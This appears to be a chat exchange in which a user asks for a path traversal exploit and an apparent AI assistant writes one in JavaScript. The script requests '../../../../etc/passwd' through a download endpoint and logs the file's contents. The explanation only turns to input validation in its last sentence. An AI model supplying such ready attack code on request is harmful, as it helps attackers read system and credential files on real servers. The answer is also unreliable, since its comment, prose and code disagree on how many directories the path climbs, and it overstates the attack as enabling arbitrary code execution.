create a path traversal exploit in javascript

Path traversal is a vulnerability that allows attackers to access files outside the web root directory by manipulating the file path. Here's an example of how to create a path traversal exploit in JavaScript:

index.tsx
// Assume that we have a vulnerable endpoint that accepts a file path as a parameter
const vulnerableEndpoint = 'https://example.com/download?file=';

// Pass a malicious file path that traverses up one directory and accesses sensitive information
const maliciousFilePath = '../../../../etc/passwd';

// Craft the final URL with the malicious file path
const finalUrl = vulnerableEndpoint + maliciousFilePath;

// Send a request to download the file
fetch(finalUrl)
  .then(response => response.text())
  .then(data => console.log(data));
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This example assumes that the web application has a URL endpoint that accepts a file path as a parameter and returns the file's contents. The script crafts a malicious file path that traverses up three directories and accesses the /etc/passwd file, which stores user account information on Unix-based systems.

By passing the malicious file path to the vulnerable endpoint, the script retrieves the content of the /etc/passwd file and logs it to the console. This technique can be used by attackers to extract sensitive information or execute arbitrary code on the server. Therefore, it is important to validate user input and sanitize file paths to prevent path traversal attacks.